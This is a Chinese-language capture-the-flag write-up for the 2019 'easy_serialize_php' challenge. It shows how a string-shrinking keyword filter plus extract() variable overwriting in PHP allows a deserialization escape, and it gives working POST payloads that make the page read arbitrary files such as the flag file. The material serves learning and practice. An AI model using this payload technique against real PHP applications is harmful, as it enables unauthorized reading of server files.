[安洵杯 2019]easy_serialize_php
本题考点:
- 反序列化的字符串逃逸(变少)
- extract()变量覆盖
思考过程:
-
首先代码审计可以看到几个关键点
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } //这里是将敏感词替换为空,造成了字符减少,我们就有了字符串逃逸的操作空间
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); //extract()函数的变量覆盖,使得上面两个参数可控
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } //这里我们要么让guest_img.png逃逸,要么后面能消除sha1()函数的影响
if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } //file_get_contents()函数可以读取敏感文件 //$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸 //继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info); $serialize_info = filter(serialize($_SESSION)); //所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值
-
我们目的是通过file_get_content()读取敏感文件,通过提示在phpinfo中发现可疑文件
-
入口有了出口有了路径也有了,开始分析怎么一步一步过去
首先康康反序列化结果长啥样吧
<?php $_SESSION["user"] = '*'; $_SESSION['function'] = '**'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION); //a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
-
因为我们要让guest_img.png逃逸换成,那我们function就应该为
;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:
这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为<?php $_SESSION["user"] = 'phpphpphpflagphpphpphp'; $_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION);
a:3:{s:4:“user”;s:22:“phpphpphpflagphpphpphp”;s:8:“function”;s:56:“;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:1:“a”;s:1:“a”;}”;s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}
经过filter函数处理后
a:3:{s:4:“user”;s:22:“";s:8:“function”;s:56:”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:1:“a”;s:1:“a”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;} -
那么POST传入参数
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
-
查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}